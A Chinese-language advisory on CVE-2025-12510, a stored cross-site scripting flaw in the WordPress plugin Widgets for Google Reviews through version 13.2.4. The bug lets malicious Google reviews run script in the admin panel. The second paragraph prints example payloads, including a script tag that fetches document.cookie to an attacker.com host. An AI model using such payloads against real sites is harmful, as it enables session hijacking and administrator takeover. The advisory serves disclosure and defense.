CVE-2025-12510Widgets for Google Reviews是WordPress平台上广受欢迎的Google商家评价展示插件,用户数量超过10万。该插件允许网站管理员轻松集成和展示来自Google的商业评价。然而,在13.2.4及之前版本中,插件在处理从Google导入的评论数据时存在严重的存储型跨站脚本漏洞。由于插件对Google Reviews数据的输入清理和输出转义处理不当,攻击者可以通过在Google Places上提交包含恶意JavaScript代码的评价内容,当网站管理员通过插件导入这些评价时,恶意脚本将被永久存储在数据库中。任何访问管理后台或前端评价展示页面的用户都会触发该XSS payload执行,从而导致会话劫持、管理员凭据窃取、恶意内容注入等严重安全风险。由于攻击利用Google平台作为中转,且无需认证即可注入恶意评价,此漏洞的利用门槛相对较低,对所有使用该插件的WordPress站点构成实质性威胁。
该漏洞的根本原因在于插件的trustindex-plugin.class.php文件中(第5907行和5932行附近),在处理从Google Places API导入的评论数据时,缺少必要的输入验证和输出编码。具体表现为:1) 当插件通过Google Places ID获取评价数据时,直接将外部来源的评论文本、评论者名称等信息存入数据库而未进行安全过滤;2) 在前端或后台展示这些评价时,未使用适当的输出编码函数(如htmlspecialchars())对用户可控的数据进行转义。攻击者只需拥有一个Google Places账号,即可在任意与目标WordPress站点连接的Google商家页面下发布包含XSS payload的评价。常见的攻击payload形式为:<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>。由于插件通常在后台管理界面展示导入的Google评价,管理员访问插件设置页面时将自动执行恶意代码,攻击者可借此获取管理员会话令牌,进而完全控制WordPress站点。值得注意的是,即使前端主题未直接调用插件输出,只要管理员访问后台,攻击即可成功。